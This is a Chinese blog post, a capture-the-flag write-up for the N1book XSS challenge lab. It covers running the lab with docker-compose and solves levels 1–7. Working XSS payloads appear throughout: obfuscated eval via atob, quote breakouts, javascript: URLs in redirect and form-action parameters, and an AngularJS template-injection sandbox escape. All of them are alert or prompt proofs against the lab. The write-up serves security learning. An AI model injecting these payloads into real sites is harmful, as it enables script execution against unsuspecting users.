当前位置: 首页 > news >正文

[第二章] web入门—N1book靶场详细思路讲解(一)

今天继续给大家带来N1book靶场第二章的解题思路;

文章目录

    • [第二章 web进阶]XSS闯关
      • 前置条件:
      • level1
      • level2
      • level3
      • level4
      • level5
      • level6(看不懂)
      • level7
      • 邪修办法
    • 总结


[第二章 web进阶]XSS闯关

前置条件:

当然也可以自己手动搭建靶场:
docker-compose.yml

version: "3.2"services:
xss:image: registry.cn-hangzhou.aliyuncs.com/n1book/web-xss:latestports:- 3000:3000

具体步骤:

启动方式:docker-compose up -d
创建文件:touch docker-compose.yml
测试完成后,删除整个环境:docker-compose down -v

(具体步骤可以问AI让其帮你完善相关的文件)


你能否过关斩将解决所有XSS问题最终获得flag呢?

level1

首先我们打开页面,看到如下:
在这里插入图片描述

点击开始,我们进入到第一关:
在这里插入图片描述

既然是xss,我们直接输入常见的xss语句即可:

# 随便拿点出来都够用了<script>prompt(1)</script><script>confirm(1)</script><script>var fn=window[490837..toString(1<<5)];fn(atob('YWxlcnQoMSk='));</script><script>var fn=window[String.fromCharCode(101,118,97,108)];fn(atob('YWxlcnQoMSk='));</script>

在这里插入图片描述

进入下一关;

level2

随后继续输入<script>alert(/xss/)</script>,发现没有显示,查看一下源代码,发现被编码了:

在这里插入图片描述

可以看到username被escape函数编码了,比较难绕过。

解决方法:类似SQL注入中的堆叠注入,闭合前面的单引号,注释后面的单引号

# payload
';alert(1);'

在这里插入图片描述
下一关;

level3

我们尝试输入了 xss',然后查看源码,发现被转义了:
在这里插入图片描述

既然如此,我们通过innerHTML 直接插入 DOM,所以 我们可以尝试通过 HTML/事件属性绕过,而不是破坏 JS 语法。

<div id="ccc">Welcome xss'</div>

在这里插入图片描述
直接下一关;

level4

在这里插入图片描述

这里我们可以看到过几秒页面会重定向到当前页面;

# 源代码<script type="text/javascript">var time = 10;var jumpUrl;if(getQueryVariable('jumpUrl') == false){jumpUrl = location.href;}else{jumpUrl = getQueryVariable('jumpUrl');}setTimeout(jump,1000,time);function jump(time){if(time == 0){location.href = jumpUrl;}else{time = time - 1 ;document.getElementById('ccc').innerHTML= `页面${time}秒后将会重定向到${escape(jumpUrl)}`;setTimeout(jump,1000,time);}}function getQueryVariable(variable){var query = window.location.search.substring(1);var vars = query.split("&");for (var i=0;i<vars.length;i++) {var pair = vars[i].split("=");if(pair[0] == variable){return pair[1];}}return(false);}

我们观察源代码,可以得到:

  • 用户可控变量是 jumpUrl
  • 最终 jumpUrl 会被传给 escape(jumpUrl),然后放入 模板字符串 `` 内
  • escape() 会把大部分特殊字符(如 <, >, ', ", / 等)转义成 %xx,因此 直接插入 HTML/JS 标签是无效的。

通过分析代码,我注意到:

vars是query以&作为分隔符分隔后形成的数组。简单来说就是相当于获得了每个参数。

  • 具体代码:var query = window.location.search.substring(1);
  • var vars = query.split(“&”);

然后遍历每个参数。将每个参数以=为分隔符再分隔形成数组,这样pair[0]相当于参数名,pair[1]相当于值:

  • 具体代码:for (var i=0;i<vars.length;i++)
  • var pair = vars[i].split(“=”);

然后进行判断,if(pair[0] == variable){return pair[1];}

  • 具体代码:if(pair[0] == variable){return pair[1];}

所以根据上述,我们可以构建payload:

?jumpUrl=javascript:prompt('ctf')
  • 弹出输入框或确认框,测试 XSS 触发。
    在这里插入图片描述
    可以看到也是弹窗,随便输入,确定即可:

level5

页面如下:

在这里插入图片描述
随便输入123,返回Cannot POST /level5,只能查看源代码:

    <script type="text/javascript">if(getQueryVariable('autosubmit') !== false){var autoForm = document.getElementById('autoForm');autoForm.action = (getQueryVariable('action') == false) ? location.href : getQueryVariable('action');autoForm.submit();}else{}function getQueryVariable(variable){var query = window.location.search.substring(1);var vars = query.split("&");for (var i=0;i<vars.length;i++) {var pair = vars[i].split("=");if(pair[0] == variable){return pair[1];}}return(false);}</script>

代码审计

  • URL 参数控制:
    • autosubmit 不为空 → 表示启用自动提交。
    • action 参数 → 控制 <form> 的提交地址。
  • autosubmit 存在时:可以控制 form 的提交目标。
autoForm.action = action ? action : location.href;
autoForm.submit();
  • getQueryVariable(‘action’) 不能为false,然后构造action:
autoForm.action = (getQueryVariable('action') == false) ? location.href : getQueryVariable('action');

所以构造payload:

?autosubmit=1&action=javascript:alert(1)

在这里插入图片描述

level6(看不懂)

输入后发现变成了文本内容:
在这里插入图片描述

没有头绪了,网上WP

本题考查的是二次渲染导致的XSS,构造payload进行验证

  • ?username={{3*3}}
    在这里插入图片描述

页面输出了9,证实了是模板xss
并发现当前页面框架为为Angular,参考文章:AngularJS客户端模板注入(XSS)

反正最后的payload为:

?username={{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}

level7

直接得到flag:
在这里插入图片描述

邪修办法

直接将level1改为level7就行,你知我知就行;
在这里插入图片描述

总结

后面还有很多题,但我写到这里的时候没时间了,只能下次了。

http://www.dtcms.com/a/398151.html

相关文章:

  • ES 的 shards 是什么
  • LVS:Linux 内核级负载均衡的架构设计、三种工作模式与十大调度算法详解
  • 【触想智能】工业一体机在金融领域的应用优势和具体注意事项
  • 制作大模型获取天气数据工具(和风API)
  • Nginx服务部署与配置(Day.2)
  • 计算机课程《网络安全》课程导览:开启数字世界的守护之旅
  • 网站系统开发精品网站开发
  • 国外ps网站产品推广方案ppt
  • 【MuJoCo学习笔记】#2 接触动力学 腱系统 执行器 传感器
  • 北京 旅游攻略
  • python+django/flask+springboot个性化旅游推荐系统(数据可视化) 景点推荐 路线匹配 用户画像建模 智能搜索筛选 图文展示系统
  • 智慧校园信息门户网站建设一站式做网站哪家好
  • 携程HR面(准备)
  • Qt 框架知识体系
  • 如何重新编译HyperLPR原生库以消除16k对齐警告
  • [QT]常用控件属性一
  • QT 编写应力分析软件
  • INTLAB区间工具箱在区间分析算法中的应用与实现
  • 北京网页设计新趋势黄石市seo关键词优化怎么做
  • 【Linux】拆解 Linux 容器化核心:Namespace 隔离 + cgroups 资源控制,附 LXC 容器生命周期实战
  • VSCode IDE环境的python 显示:Import “rclpy“ could not be resolvedPylancer
  • 吴镇宇做的电影教学网站石家庄最新消息今天
  • MySQL笔记8
  • 【C++无数组矩阵对角线平均值保留2位小数】2022-11-18
  • 阿里巴巴网站费用怎么做分录烟台企业展厅设计
  • ZooKeeper与Kafka分布式协调系统实战指南:从基础原理到集群部署
  • lesson66:JavaScript BOM与DOM全解析:从基础到现代前端实践引言:前端开发的两大基石
  • UNIAPP如何自定义全局方法?
  • 040 线程控制
  • 前端开发利器:nvm、npm与pnpm全面解析与TypeScript/JavaScript选择指南